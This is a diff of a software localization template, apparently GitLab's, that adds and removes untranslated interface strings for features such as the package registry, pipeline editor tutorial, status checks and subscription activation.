msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
